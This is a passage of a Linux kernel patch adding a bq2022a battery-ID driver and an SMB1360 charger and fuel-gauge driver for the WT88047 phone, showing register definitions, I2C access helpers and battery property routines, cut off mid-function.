+ sprintf(bat_id_buf, "%s", "2 Guangyu + Guangyu"); + break; + case 3: + sprintf(bat_id_buf, "%s", "3 Sunwoda + Sony"); + break; + case 4: + sprintf(bat_id_buf, "%s", "4 Sunwoda + Samsung(customdown)"); + break; + case 5: + sprintf(bat_id_buf, "%s", "5 Desay + LG"); + break; + case 6: + sprintf(bat_id_buf, "%s", "6 Feimaotui + Sony"); + break; + case 7: + sprintf(bat_id_buf, "%s", "7 AAC"); + break; + case 8: + sprintf(bat_id_buf, "%s", "8 Guangyu(2200)"); + break; + case 9: + sprintf(bat_id_buf, "%s", "9 Desai(2200)"); + break; + case 10: + sprintf(bat_id_buf, "%s", "10 Sunwoda(2200)"); + break; + case 17: + sprintf(bat_id_buf, "%s", "17 Feimaotui + Samsung(MI2A)"); + break; + case 0xff: + default: + sprintf(bat_id_buf, "%s", "error"); + break; + } + pr_debug("battery module:%s", bat_id_buf); + /* hardwareinfo_set_prop(HARDWARE_BATTERY_ID, bat_id_buf); */ + pr_err("success!!\n"); + + return rc; +} + +static int bq2022a_remove(struct platform_device *pdev) +{ + gpio_free(bq2022a_bat_id); + kfree(g_bq2022a); + g_bq2022a = NULL; + + return 0; +} + +static struct platform_driver bq2022a_driver = { + .probe = bq2022a_probe, + .remove = bq2022a_remove, + .driver = { + .name = "bq2022a", + .owner = THIS_MODULE, + .of_match_table = of_match_ptr(of_bq2022as_match), + }, +}; + +module_platform_driver(bq2022a_driver); + +MODULE_DESCRIPTION("bq2022a-batid driver"); +MODULE_LICENSE("GPL"); diff --git a/drivers/power/bq2022a-batid.h b/drivers/power/bq2022a-batid.h new file mode 100644 index 0000000000000..a219b58f4f945 --- /dev/null +++ b/drivers/power/bq2022a-batid.h @@ -0,0 +1,8 @@ +#ifndef __BQ2022A_H__ +#define __BQ2022A_H__ + +struct bq2022a_platform_data { + spinlock_t bqlock; +}; + +#endif diff --git a/drivers/power/smb1360-charger-fg-wt88047.c b/drivers/power/smb1360-charger-fg-wt88047.c new file mode 100644 index 0000000000000..9507b9cc4ff61 --- /dev/null +++ b/drivers/power/smb1360-charger-fg-wt88047.c @@ -0,0 +1,4576 @@ +/* Copyright (c) 2013-2014 The Linux Foundation. All rights reserved. + * Modified for WT88047 by XiaoMi and/or Wingtech, 2015 + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ +#define pr_fmt(fmt) "SMB:%s: " fmt, __func__ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define _SMB1360_MASK(BITS, POS) \ + ((unsigned char)(((1 << (BITS)) - 1) << (POS))) +#define SMB1360_MASK(LEFT_BIT_POS, RIGHT_BIT_POS) \ + _SMB1360_MASK((LEFT_BIT_POS) - (RIGHT_BIT_POS) + 1, \ + (RIGHT_BIT_POS)) + +/* Charger Registers */ +#define CFG_BATT_CHG_REG 0x00 +#define CHG_ITERM_MASK SMB1360_MASK(2, 0) +#define CHG_ITERM_25MA 0x0 +#define CHG_ITERM_200MA 0x7 +#define RECHG_MV_MASK SMB1360_MASK(6, 5) +#define RECHG_MV_SHIFT 5 +#define OTG_CURRENT_MASK SMB1360_MASK(4, 3) +#define OTG_CURRENT_SHIFT 3 + +#define CFG_BATT_CHG_ICL_REG 0x05 +#define AC_INPUT_ICL_PIN_BIT BIT(7) +#define AC_INPUT_PIN_HIGH_BIT BIT(6) +#define RESET_STATE_USB_500 BIT(5) +#define INPUT_CURR_LIM_MASK SMB1360_MASK(3, 0) +#define INPUT_CURR_LIM_300MA 0x0 + +#define CFG_GLITCH_FLT_REG 0x06 +#define AICL_ENABLED_BIT BIT(0) +#define INPUT_UV_GLITCH_FLT_20MS_BIT BIT(7) + +#define CFG_CHG_MISC_REG 0x7 +#define CHG_EN_BY_PIN_BIT BIT(7) +#define CHG_EN_ACTIVE_LOW_BIT BIT(6) +#define PRE_TO_FAST_REQ_CMD_BIT BIT(5) +#define CHG_CURR_TERM_DIS_BIT BIT(3) +#define CFG_AUTO_RECHG_DIS_BIT BIT(2) +#define CFG_CHG_INHIBIT_EN_BIT BIT(0) + +#define CFG_CHG_FUNC_CTRL_REG 0x08 +#define CHG_RECHG_THRESH_FG_SRC_BIT BIT(1) + +#define CFG_STAT_CTRL_REG 0x09 +#define CHG_STAT_IRQ_ONLY_BIT BIT(4) +#define CHG_TEMP_CHG_ERR_BLINK_BIT BIT(3) +#define CHG_STAT_ACTIVE_HIGH_BIT BIT(1) +#define CHG_STAT_DISABLE_BIT BIT(0) + +#define CFG_SFY_TIMER_CTRL_REG 0x0A +#define SAFETY_TIME_EN_BIT BIT(4) +#define SAFETY_TIME_MINUTES_SHIFT 2 +#define SAFETY_TIME_MINUTES_MASK SMB1360_MASK(3, 2) + +#define CFG_BATT_MISSING_REG 0x0D +#define BATT_MISSING_SRC_THERM_BIT BIT(1) + +#define CFG_FG_BATT_CTRL_REG 0x0E +#define CFG_FG_OTP_BACK_UP_ENABLE BIT(7) +#define BATT_ID_ENABLED_BIT BIT(5) +#define CHG_BATT_ID_FAIL BIT(4) +#define BATT_ID_FAIL_SELECT_PROFILE BIT(3) +#define BATT_PROFILE_SELECT_MASK SMB1360_MASK(3, 0) +#define BATT_PROFILEA_MASK 0x0 +#define BATT_PROFILEB_MASK 0xF + +#define IRQ_CFG_REG 0x0F +#define IRQ_BAT_HOT_COLD_HARD_BIT BIT(7) +#define IRQ_BAT_HOT_COLD_SOFT_BIT BIT(6) +#define IRQ_DCIN_UV_BIT BIT(2) +#define IRQ_INTERNAL_TEMPERATURE_BIT BIT(0) + +#define IRQ2_CFG_REG 0x10 +#define IRQ2_SAFETY_TIMER_BIT BIT(7) +#define IRQ2_CHG_ERR_BIT BIT(6) +#define IRQ2_CHG_PHASE_CHANGE_BIT BIT(4) +#define IRQ2_POWER_OK_BIT BIT(2) +#define IRQ2_BATT_MISSING_BIT BIT(1) +#define IRQ2_VBAT_LOW_BIT BIT(0) + +#define IRQ3_CFG_REG 0x11 +#define IRQ3_SOC_CHANGE_BIT BIT(4) +#define IRQ3_SOC_MIN_BIT BIT(3) +#define IRQ3_SOC_MAX_BIT BIT(2) +#define IRQ3_SOC_EMPTY_BIT BIT(1) +#define IRQ3_SOC_FULL_BIT BIT(0) + +#define PER_TO_FAST_REG 0x12 +#define PER_TO_FAST_MASK SMB1360_MASK(7, 5) +#define PER_TO_FAST_SHIFT 5 + +#define CHG_CURRENT_REG 0x13 +#define FASTCHG_CURR_MASK SMB1360_MASK(4, 2) +#define FASTCHG_CURR_SHIFT 2 + +#define CHG_CMP_CFG 0x14 +#define JEITA_COMP_CURR_MASK SMB1360_MASK(3, 0) +#define JEITA_COMP_EN_MASK SMB1360_MASK(7, 4) +#define JEITA_COMP_EN_SHIFT 4 +#define JEITA_COMP_EN_BIT SMB1360_MASK(7, 4) + +#define BATT_CHG_FLT_VTG_REG 0x15 +#define VFLOAT_MASK SMB1360_MASK(6, 0) + +#define CFG_FVC_REG 0x16 +#define FLT_VTG_COMP_MASK SMB1360_MASK(6, 0) + +#define SHDN_CTRL_REG 0x1A +#define SHDN_CMD_USE_BIT BIT(1) +#define SHDN_CMD_POLARITY_BIT BIT(2) + +#define CURRENT_GAIN_LSB_REG 0x1D +#define CURRENT_GAIN_MSB_REG 0x1E + +/* Command Registers */ +#define CMD_I2C_REG 0x40 +#define ALLOW_VOLATILE_BIT BIT(6) +#define FG_ACCESS_ENABLED_BIT BIT(5) +#define FG_RESET_BIT BIT(4) +#define CYCLE_STRETCH_CLEAR_BIT BIT(3) + +#define CMD_IL_REG 0x41 +#define USB_CTRL_MASK SMB1360_MASK(1 , 0) +#define USB_100_BIT 0x01 +#define USB_500_BIT 0x00 +#define USB_AC_BIT 0x02 +#define SHDN_CMD_BIT BIT(7) + +#define CMD_CHG_REG 0x42 +#define CMD_CHG_EN BIT(1) +#define CMD_OTG_EN_BIT BIT(0) + +/* Status Registers */ +#define STATUS_3_REG 0x4B +#define CHG_HOLD_OFF_BIT BIT(3) +#define CHG_TYPE_MASK SMB1360_MASK(2, 1) +#define CHG_TYPE_SHIFT 1 +#define BATT_NOT_CHG_VAL 0x0 +#define BATT_PRE_CHG_VAL 0x1 +#define BATT_FAST_CHG_VAL 0x2 +#define BATT_TAPER_CHG_VAL 0x3 +#define CHG_EN_BIT BIT(0) + +#define STATUS_4_REG 0x4C +#define CYCLE_STRETCH_ACTIVE_BIT BIT(5) + +#define REVISION_CTRL_REG 0x4F +#define DEVICE_REV_MASK SMB1360_MASK(3, 0) + +/* IRQ Status Registers */ +#define IRQ_A_REG 0x50 +#define IRQ_A_HOT_HARD_BIT BIT(6) +#define IRQ_A_COLD_HARD_BIT BIT(4) +#define IRQ_A_HOT_SOFT_BIT BIT(2) +#define IRQ_A_COLD_SOFT_BIT BIT(0) + +#define IRQ_B_REG 0x51 +#define IRQ_B_BATT_TERMINAL_BIT BIT(6) +#define IRQ_B_BATT_MISSING_BIT BIT(4) + +#define IRQ_C_REG 0x52 +#define IRQ_C_CHG_TERM BIT(0) + +#define IRQ_D_REG 0x53 +#define IRQ_E_REG 0x54 +#define IRQ_E_USBIN_UV_BIT BIT(0) + +#define IRQ_F_REG 0x55 + +#define IRQ_G_REG 0x56 + +#define IRQ_H_REG 0x57 +#define IRQ_I_REG 0x58 +#define FG_ACCESS_ALLOWED_BIT BIT(0) +#define BATT_ID_RESULT_BIT SMB1360_MASK(6, 4) +#define BATT_ID_SHIFT 4 + +/* FG registers - IRQ config register */ +#define SOC_MAX_REG 0x24 +#define SOC_MIN_REG 0x25 +#define VTG_EMPTY_REG 0x26 +#define SOC_DELTA_REG 0x28 +#define JEITA_SOFT_COLD_REG 0x29 +#define JEITA_SOFT_HOT_REG 0x2A +#define VTG_MIN_REG 0x2B + +/* FG SHADOW registers */ +#define SHDW_FG_ESR_ACTUAL 0x20 +#define SHDW_FG_BATT_STATUS 0x60 +#define BATTERY_PROFILE_BIT BIT(0) + +#define SHDW_FG_MSYS_SOC 0x61 +#define SHDW_FG_CAPACITY 0x62 +#define SHDW_FG_VTG_NOW 0x69 +#define SHDW_FG_CURR_NOW 0x6B +#define SHDW_FG_BATT_TEMP 0x6D + +#define CC_TO_SOC_COEFF 0xBA +#define NOMINAL_CAPACITY_REG 0xBC +#define ACTUAL_CAPACITY_REG 0xBE +#define FG_AUTO_RECHARGE_SOC 0xD2 +#define FG_SYS_CUTOFF_V_REG 0xD3 +#define FG_CC_TO_CV_V_REG 0xD5 +#define FG_ITERM_REG 0xD9 +#define FG_THERM_C1_COEFF_REG 0xDB +#define FG_IBATT_STANDBY_REG 0xCF + +#define FG_I2C_CFG_MASK SMB1360_MASK(2, 1) +#define FG_CFG_I2C_ADDR 0x2 +#define FG_PROFILE_A_ADDR 0x4 +#define FG_PROFILE_B_ADDR 0x6 + +/* Constants */ +#define CURRENT_100_MA 100 +#define CURRENT_500_MA 500 +#define MAX_8_BITS 255 +#define JEITA_WORK_MS 3000 + +#define SMB1360_REV_1 0x01 +enum recharge_type { + FG_SOC_AUTO_RECHARGE = 0, + SENSOR_VOLTAGE_AUTO_RECHARGE, +}; + +enum { + WRKRND_FG_CONFIG_FAIL = BIT(0), + WRKRND_BATT_DET_FAIL = BIT(1), + WRKRND_USB100_FAIL = BIT(2), + WRKRND_HARD_JEITA = BIT(3), +}; + +enum { + USER = BIT(0), +}; + +enum fg_i2c_access_type { + FG_ACCESS_CFG = 0x1, + FG_ACCESS_PROFILE_A = 0x2, + FG_ACCESS_PROFILE_B = 0x3 +}; + +enum { + BATTERY_PROFILE_A, + BATTERY_PROFILE_B, + BATTERY_PROFILE_MAX, +}; + +static int otg_curr_ma[] = {350, 550, 950, 1500}; + +struct smb1360_otg_regulator { + struct regulator_desc rdesc; + struct regulator_dev *rdev; +}; + +struct smb1360_chip { + struct i2c_client *client; + struct device *dev; + u8 revision; + u8 soft_hot_rt_stat; + u8 soft_cold_rt_stat; + struct delayed_work jeita_work; + unsigned short default_i2c_addr; + unsigned short fg_i2c_addr; + bool pulsed_irq; + + /* configuration data - charger */ + int fake_battery_soc; + bool batt_id_disabled; + bool charging_disabled; + bool recharge_disabled; + bool chg_inhibit_disabled; + bool iterm_disabled; + bool shdn_after_pwroff; + bool config_hard_thresholds; + bool soft_jeita_supported; + int iterm_ma; + int vfloat_mv; + int safety_time; + int resume_delta_mv; + u32 default_batt_profile; + unsigned int thermal_levels; + unsigned int therm_lvl_sel; + unsigned int *thermal_mitigation; + int cold_bat_decidegc; + int hot_bat_decidegc; + int cool_bat_decidegc; + int warm_bat_decidegc; + int cool_bat_mv; + int warm_bat_mv; + int cool_bat_ma; + int warm_bat_ma; + int warm_recharge_mv; + int cool_recharge_mv; + int current_recharge_type; + int soft_cold_thresh; + int soft_hot_thresh; + unsigned int pre_to_fast_charge_mv; + int otg_batt_curr_limit; + + /* configuration data - fg */ + int soc_max; + int soc_min; + int delta_soc; + int voltage_min_mv; + int voltage_empty_mv; + int batt_capacity_mah; + int cc_soc_coeff; + int v_cutoff_mv; + int fg_iterm_ma; + int fg_ibatt_standby_ma; + int fg_thermistor_c1_coeff; + int fg_cc_to_cv_mv; + int fg_auto_recharge_soc; + + /* status tracking */ + bool rsense_10mohm; + bool usb_present; + bool batt_present; + bool batt_hot; + bool batt_cold; + bool batt_warm; + bool batt_cool; + bool batt_full; + bool power_ok; + bool resume_completed; + bool irq_waiting; + bool empty_soc; + int workaround_flags; + u8 irq_cfg_mask[3]; + int usb_psy_ma; + int charging_disabled_status; + u32 connected_rid; + u32 profile_rid[BATTERY_PROFILE_MAX]; + + u32 peek_poke_address; + u32 fg_access_type; + u32 fg_peek_poke_address; + int skip_writes; + int skip_reads; + struct dentry *debug_root; + + struct qpnp_vadc_chip *vadc_dev; + struct power_supply *usb_psy; + struct power_supply batt_psy; + struct smb1360_otg_regulator otg_vreg; + struct mutex irq_complete; + struct mutex charging_disable_lock; + struct mutex current_change_lock; + struct mutex read_write_lock; +}; + +static int chg_time[] = { + 192, + 384, + 768, + 1536, +}; + +static int input_current_limit[] = { + 300, 400, 450, 500, 600, 700, 800, 850, 900, + 950, 1000, 1100, 1200, 1300, 1400, 1500, +}; + +static int fastchg_current[] = { + 450, 600, 750, 900, 1050, 1200, 1350, 1500, +}; + +static int pre_to_fast_charge[] = { + 2200, 2400, 2500, 2600, 2900, 3000, 3100, 3400, +}; + +static int is_between(int value, int left, int right) +{ + if (left >= right && left >= value && value >= right) + return 1; + if (left <= right && left <= value && value <= right) + return 1; + + return 0; +} + +static int bound(int val, int min, int max) +{ + if (val < min) + return min; + if (val > max) + return max; + + return val; +} + +static int __smb1360_read(struct smb1360_chip *chip, int reg, + u8 *val) +{ + s32 ret; + + ret = i2c_smbus_read_byte_data(chip->client, reg); + if (ret < 0) { + dev_err(chip->dev, + "i2c read fail: can't read from %02x: %d\n", reg, ret); + return ret; + } else { + *val = ret; + } + pr_debug("Reading 0x%02x=0x%02x\n", reg, *val); + + return 0; +} + +static int __smb1360_write(struct smb1360_chip *chip, int reg, + u8 val) +{ + s32 ret; + + ret = i2c_smbus_write_byte_data(chip->client, reg, val); + if (ret < 0) { + dev_err(chip->dev, + "i2c write fail: can't write %02x to %02x: %d\n", + val, reg, ret); + return ret; + } + pr_debug("Writing 0x%02x=0x%02x\n", reg, val); + return 0; +} + +static int smb1360_read(struct smb1360_chip *chip, int reg, + u8 *val) +{ + int rc; + + if (chip->skip_reads) { + *val = 0; + return 0; + } + mutex_lock(&chip->read_write_lock); + rc = __smb1360_read(chip, reg, val); + mutex_unlock(&chip->read_write_lock); + + return rc; +} + +static int smb1360_write(struct smb1360_chip *chip, int reg, + u8 val) +{ + int rc; + + if (chip->skip_writes) + return 0; + + mutex_lock(&chip->read_write_lock); + rc = __smb1360_write(chip, reg, val); + mutex_unlock(&chip->read_write_lock); + + return rc; +} + +static int smb1360_fg_read(struct smb1360_chip *chip, int reg, + u8 *val) +{ + int rc; + + if (chip->skip_reads) { + *val = 0; + return 0; + } + + mutex_lock(&chip->read_write_lock); + chip->client->addr = chip->fg_i2c_addr; + rc = __smb1360_read(chip, reg, val); + chip->client->addr = chip->default_i2c_addr; + mutex_unlock(&chip->read_write_lock); + + return rc; +} + +static int smb1360_fg_write(struct smb1360_chip *chip, int reg, + u8 val) +{ + int rc; + + if (chip->skip_writes) + return 0; + + mutex_lock(&chip->read_write_lock); + chip->client->addr = chip->fg_i2c_addr; + rc = __smb1360_write(chip, reg, val); + chip->client->addr = chip->default_i2c_addr; + mutex_unlock(&chip->read_write_lock); + + return rc; +} + +static int smb1360_read_bytes(struct smb1360_chip *chip, int reg, + u8 *val, u8 bytes) +{ + s32 rc; + + if (chip->skip_reads) { + *val = 0; + return 0; + } + + mutex_lock(&chip->read_write_lock); + rc = i2c_smbus_read_i2c_block_data(chip->client, reg, bytes, val); + if (rc < 0) + dev_err(chip->dev, + "i2c read fail: can't read %d bytes from %02x: %d\n", + bytes, reg, rc); + mutex_unlock(&chip->read_write_lock); + + return (rc < 0) ? rc : 0; +} + +static int smb1360_write_bytes(struct smb1360_chip *chip, int reg, + u8 *val, u8 bytes) +{ + s32 rc; + + if (chip->skip_writes) { + *val = 0; + return 0; + } + + mutex_lock(&chip->read_write_lock); + rc = i2c_smbus_write_i2c_block_data(chip->client, reg, bytes, val); + if (rc < 0) + dev_err(chip->dev, + "i2c write fail: can't read %d bytes from %02x: %d\n", + bytes, reg, rc); + mutex_unlock(&chip->read_write_lock); + + return (rc < 0) ? rc : 0; +} + +static int smb1360_masked_write(struct smb1360_chip *chip, int reg, + u8 mask, u8 val) +{ + s32 rc; + u8 temp; + + if (chip->skip_writes || chip->skip_reads) + return 0; + + mutex_lock(&chip->read_write_lock); + rc = __smb1360_read(chip, reg, &temp); + if (rc < 0) { + dev_err(chip->dev, "read failed: reg=%03X, rc=%d\n", reg, rc); + goto out; + } + temp &= ~mask; + temp |= val & mask; + rc = __smb1360_write(chip, reg, temp); + if (rc < 0) { + dev_err(chip->dev, + "write failed: reg=%03X, rc=%d\n", reg, rc); + } +out: + mutex_unlock(&chip->read_write_lock); + return rc; +} + +#define EXPONENT_MASK 0xF800 +#define MANTISSA_MASK 0x3FF +#define SIGN_MASK 0x400 +#define EXPONENT_SHIFT 11 +#define SIGN_SHIFT 10 +#define MICRO_UNIT 1000000ULL +static int64_t float_decode(u16 reg) +{ + int64_t final_val, exponent_val, mantissa_val; + int exponent, mantissa, n; + bool sign; + + exponent = (reg & EXPONENT_MASK) >> EXPONENT_SHIFT; + mantissa = (reg & MANTISSA_MASK); + sign = !!(reg & SIGN_MASK); + + pr_debug("exponent=%d mantissa=%d sign=%d\n", exponent, mantissa, sign); + + mantissa_val = mantissa * MICRO_UNIT; + + n = exponent - 15; + if (n < 0) + exponent_val = MICRO_UNIT >> -n; + else + exponent_val = MICRO_UNIT << n; + + n = n - 10; + if (n < 0) + mantissa_val >>= -n; + else + mantissa_val <<= n; + + final_val = exponent_val + mantissa_val; + + if (sign) + final_val *= -1; + + return final_val; +} +#define MAX_MANTISSA (1023 * 1000000ULL) +unsigned int float_encode(int64_t float_val) +{ + int exponent = 0, sign = 0; + unsigned int final_val = 0; + + if (float_val == 0) + return 0; + + if (float_val < 0) { + sign = 1; + float_val = -float_val; + } + + /* Reduce large mantissa until it fits into 10 bit */ + while (float_val >= MAX_MANTISSA) { + exponent++; + float_val >>= 1; + } + + /* Increase small mantissa to improve precision */ + while (float_val < MAX_MANTISSA && exponent > -25) { + exponent--; + float_val <<= 1; + } + + exponent = exponent + 25; + + /* Convert mantissa from micro-units to units */ + float_val = div_s64((float_val + MICRO_UNIT), (int)MICRO_UNIT); + + if (float_val == 1024) { + exponent--; + float_val <<= 1; + } + + float_val -= 1024; + + /* Ensure that resulting number is within range */ + if (float_val > MANTISSA_MASK) + float_val = MANTISSA_MASK; + + /* Convert to 5 bit exponent, 11 bit mantissa */ + final_val = (float_val & MANTISSA_MASK) | (sign << SIGN_SHIFT) | + ((exponent << EXPONENT_SHIFT) & EXPONENT_MASK); + + return final_val; +} + +static int smb1360_enable_fg_access(struct smb1360_chip *chip) +{ + int rc; + u8 reg = 0, timeout = 200; + + rc = smb1360_masked_write(chip, CMD_I2C_REG, FG_ACCESS_ENABLED_BIT, + FG_ACCESS_ENABLED_BIT); + if (rc) { + pr_err("Couldn't enable FG access rc=%d\n", rc); + return rc; + } + + while (timeout) { + /* delay for FG access to be granted */ + msleep(50); + rc = smb1360_read(chip, IRQ_I_REG, ®); + if (rc) + pr_err("Could't read IRQ_I_REG rc=%d\n", rc); + else if (reg & FG_ACCESS_ALLOWED_BIT) + break; + timeout--; + } + + pr_debug("timeout=%d\n", timeout); + + if (!timeout) + return -EBUSY; + + return 0; +} + +static int smb1360_disable_fg_access(struct smb1360_chip *chip) +{ + int rc; + + rc = smb1360_masked_write(chip, CMD_I2C_REG, FG_ACCESS_ENABLED_BIT, 0); + if (rc) + pr_err("Couldn't disable FG access rc=%d\n", rc); + + return rc; +} + +static int smb1360_enable_volatile_writes(struct smb1360_chip *chip) +{ + int rc; + + rc = smb1360_masked_write(chip, CMD_I2C_REG, + ALLOW_VOLATILE_BIT, ALLOW_VOLATILE_BIT); + if (rc < 0) + dev_err(chip->dev, + "Couldn't set VOLATILE_W_PERM_BIT rc=%d\n", rc); + + return rc; +} + +#define TRIM_1C_REG 0x1C +#define CHECK_USB100_GOOD_BIT BIT(6) +static bool is_usb100_broken(struct smb1360_chip *chip) +{ + int rc; + u8 reg; + + rc = smb1360_read(chip, TRIM_1C_REG, ®); + if (rc < 0) { + dev_err(chip->dev, "Couldn't read trim 1C reg rc = %d\n", rc); + return rc; + } + return !!(reg & CHECK_USB100_GOOD_BIT); +} + +static int read_revision(struct smb1360_chip *chip, u8 *revision) +{ + int rc; + + *revision = 0; + rc = smb1360_read(chip, REVISION_CTRL_REG, revision); + if (rc) + dev_err(chip->dev, "Couldn't read REVISION_CTRL_REG rc=%d", rc); + + *revision &= DEVICE_REV_MASK; + + return rc; +} + +#define MIN_FLOAT_MV 3460 +#define MAX_FLOAT_MV 4730 +#define VFLOAT_STEP_MV 10 +static int smb1360_float_voltage_set(struct smb1360_chip *chip, int vfloat_mv) +{ + u8 temp; + + if ((vfloat_mv < MIN_FLOAT_MV) || (vfloat_mv > MAX_FLOAT_MV)) { + dev_err(chip->dev, "bad float voltage mv =%d asked to set\n", + vfloat_mv); + return -EINVAL; + } + + temp = (vfloat_mv - MIN_FLOAT_MV) / VFLOAT_STEP_MV; + + return smb1360_masked_write(chip, BATT_CHG_FLT_VTG_REG, + VFLOAT_MASK, temp); +} + +#define MIN_RECHG_MV 50 +#define MAX_RECHG_MV 300 +static int smb1360_recharge_threshold_set(struct smb1360_chip *chip, + int resume_mv) +{ + u8 temp; + + if ((resume_mv < MIN_RECHG_MV) || (resume_mv > MAX_RECHG_MV)) { + dev_err(chip->dev, "bad rechg_thrsh =%d asked to set\n", + resume_mv); + return -EINVAL; + } + + temp = resume_mv / 100; + + return smb1360_masked_write(chip, CFG_BATT_CHG_REG, + RECHG_MV_MASK, temp << RECHG_MV_SHIFT); +} + +static int __smb1360_charging_disable(struct smb1360_chip *chip, bool disable) +{ + int rc; + + rc = smb1360_masked_write(chip, CMD_CHG_REG, + CMD_CHG_EN, disable ? 0 : CMD_CHG_EN); + if (rc < 0) + pr_err("Couldn't set CHG_ENABLE_BIT disable=%d rc = %d\n", + disable, rc); + else + pr_debug("CHG_EN status=%d\n", !disable); + + return rc; +} + +static int smb1360_charging_disable(struct smb1360_chip *chip, int reason, + int disable) +{ + int rc = 0; + int disabled; + + mutex_lock(&chip->charging_disable_lock); + + disabled = chip->charging_disabled_status; + + pr_debug("reason=%d requested_disable=%d disabled_status=%d\n", + reason, disable, disabled); + + if (disable == true) + disabled |= reason; + else + disabled &= ~reason; + + if (disabled) + rc = __smb1360_charging_disable(chip, true); + else + rc = __smb1360_charging_disable(chip, false); + + if (rc) + pr_err("Couldn't disable charging for reason=%d rc=%d\n", + rc, reason); + else + chip->charging_disabled_status = disabled; + + mutex_unlock(&chip->charging_disable_lock); + + return rc; +} + +static int smb1360_soft_jeita_comp_enable(struct smb1360_chip *chip, bool enable) +{ + int rc = 0; + + rc = smb1360_masked_write(chip, CHG_CMP_CFG, JEITA_COMP_EN_MASK, + enable ? JEITA_COMP_EN_BIT : 0); + if (rc) + pr_err("Couldn't %s JEITA compensation\n", enable ? + "enable" : "disable"); + return rc; +} + +static enum power_supply_property smb1360_battery_properties[] = { + POWER_SUPPLY_PROP_HEALTH, + POWER_SUPPLY_PROP_STATUS, + POWER_SUPPLY_PROP_PRESENT, + POWER_SUPPLY_PROP_TECHNOLOGY, + POWER_SUPPLY_PROP_CHARGING_ENABLED, + POWER_SUPPLY_PROP_CHARGE_TYPE, + POWER_SUPPLY_PROP_CAPACITY, + POWER_SUPPLY_PROP_CHARGE_FULL_DESIGN, + POWER_SUPPLY_PROP_VOLTAGE_NOW, + POWER_SUPPLY_PROP_CURRENT_NOW, + POWER_SUPPLY_PROP_RESISTANCE, + POWER_SUPPLY_PROP_TEMP, + POWER_SUPPLY_PROP_SYSTEM_TEMP_LEVEL, +}; + +static int smb1360_get_prop_batt_present(struct smb1360_chip *chip) +{ + return chip->batt_present; +} + +static int smb1360_get_prop_batt_status(struct smb1360_chip *chip) +{ + int rc; + u8 reg = 0, chg_type; + + if (chip->batt_full) + return POWER_SUPPLY_STATUS_FULL; + + rc = smb1360_read(chip, STATUS_3_REG, ®); + if (rc) { + pr_err("Couldn't read STATUS_3_REG rc=%d\n", rc); + return POWER_SUPPLY_STATUS_UNKNOWN; + } + + if (!chip->power_ok) + return POWER_SUPPLY_STATUS_NOT_CHARGING; + + pr_debug("STATUS_3_REG = %x\n", reg); + + if (reg & CHG_HOLD_OFF_BIT) + return POWER_SUPPLY_STATUS_NOT_CHARGING; + + chg_type = (reg & CHG_TYPE_MASK) >> CHG_TYPE_SHIFT; + + if (chg_type == BATT_NOT_CHG_VAL) + return POWER_SUPPLY_STATUS_DISCHARGING; + else + return POWER_SUPPLY_STATUS_CHARGING; +} + +static int smb1360_get_prop_charging_status(struct smb1360_chip *chip) +{ + int rc; + u8 reg = 0; + + rc = smb1360_read(chip, STATUS_3_REG, ®); + if (rc) { + pr_err("Couldn't read STATUS_3_REG rc=%d\n", rc); + return 0; + } + + return (reg & CHG_EN_BIT) ? 1 : 0; +} + +static int smb1360_get_prop_charge_type(struct smb1360_chip *chip) +{ + int rc; + u8 reg = 0; + u8 chg_type; + + rc = smb1360_read(chip, STATUS_3_REG, ®); + if (rc) { + pr_err("Couldn't read STATUS_3_REG rc=%d\n", rc); + return POWER_SUPPLY_CHARGE_TYPE_UNKNOWN; + } + + chg_type = (reg & CHG_TYPE_MASK) >> CHG_TYPE_SHIFT; + if (chg_type == BATT_NOT_CHG_VAL) + return POWER_SUPPLY_CHARGE_TYPE_NONE; + else if ((chg_type == BATT_FAST_CHG_VAL) || + (chg_type == BATT_TAPER_CHG_VAL)) + return POWER_SUPPLY_CHARGE_TYPE_FAST; + else if (chg_type == BATT_PRE_CHG_VAL) + return POWER_SUPPLY_CHARGE_TYPE_TRICKLE; + + return POWER_SUPPLY_CHARGE_TYPE_NONE; +} + +static int smb1360_get_prop_batt_health(struct smb1360_chip *chip) +{ + union power_supply_propval ret = {0, }; + + if (chip->batt_hot) + ret.intval = POWER_SUPPLY_HEALTH_OVERHEAT; + else if (chip->batt_cold) + ret.intval = POWER_SUPPLY_HEALTH_COLD; + else if (chip->batt_warm) + ret.intval = POWER_SUPPLY_HEALTH_WARM; + else if (chip->batt_cool) + ret.intval = POWER_SUPPLY_HEALTH_COOL; + else + ret.intval = POWER_SUPPLY_HEALTH_GOOD; + + return ret.intval; +} + +static int smb1360_get_prop_batt_capacity(struct smb1360_chip *chip) +{ + u8 reg; + u32 temp = 0; + int rc, soc = 0; + + if (chip->fake_battery_soc >= 0) + return chip->fake_battery_soc; + + + rc = smb1360_read(chip, SHDW_FG_MSYS_SOC, ®); + if (rc) { + pr_err("Failed to read FG_MSYS_SOC rc=%d\n", rc); + return rc; + } + soc = (100 * reg) / MAX_8_BITS; + + temp = (100 * reg) % MAX_8_BITS; + if (temp > (MAX_8_BITS / 2)) + soc += 1; + + if (chip->empty_soc) { + pr_err("zzj empty_soc\n"); + if (soc > 0) + chip->empty_soc = false; + + } + + pr_debug("msys_soc_reg=0x%02x, fg_soc=%d batt_full = %d\n", reg, + soc, chip->batt_full); + if (soc == 100) + chip->batt_full = 1; + else + chip->batt_full = 0; + return chip->batt_full ? 100 : bound(soc, 0, 100); +} + +static int smb1360_get_prop_chg_full_design(struct smb1360_chip *chip) +{ + u8 reg[2]; + int rc, fcc_mah = 0; + + rc = smb1360_read_bytes(chip, SHDW_FG_CAPACITY, reg, 2); + if (rc) { + pr_err("Failed to read SHDW_FG_CAPACITY rc=%d\n", rc); + return rc; + } + fcc_mah = (reg[1] << 8) | reg[0]; + + pr_debug("reg[0]=0x%02x reg[1]=0x%02x fcc_mah=%d\n", + reg[0], reg[1], fcc_mah); + + return fcc_mah * 1000; +} + +static int smb1360_get_prop_batt_temp(struct smb1360_chip *chip) +{ + u8 reg[2]; + int rc, temp = 0; + int revise_temp = 0; + + rc = smb1360_read_bytes(chip, SHDW_FG_BATT_TEMP, reg, 2); + if (rc) { + pr_err("Failed to read SHDW_FG_BATT_TEMP rc=%d\n", rc); + return rc; + } + + temp = (reg[1] << 8) 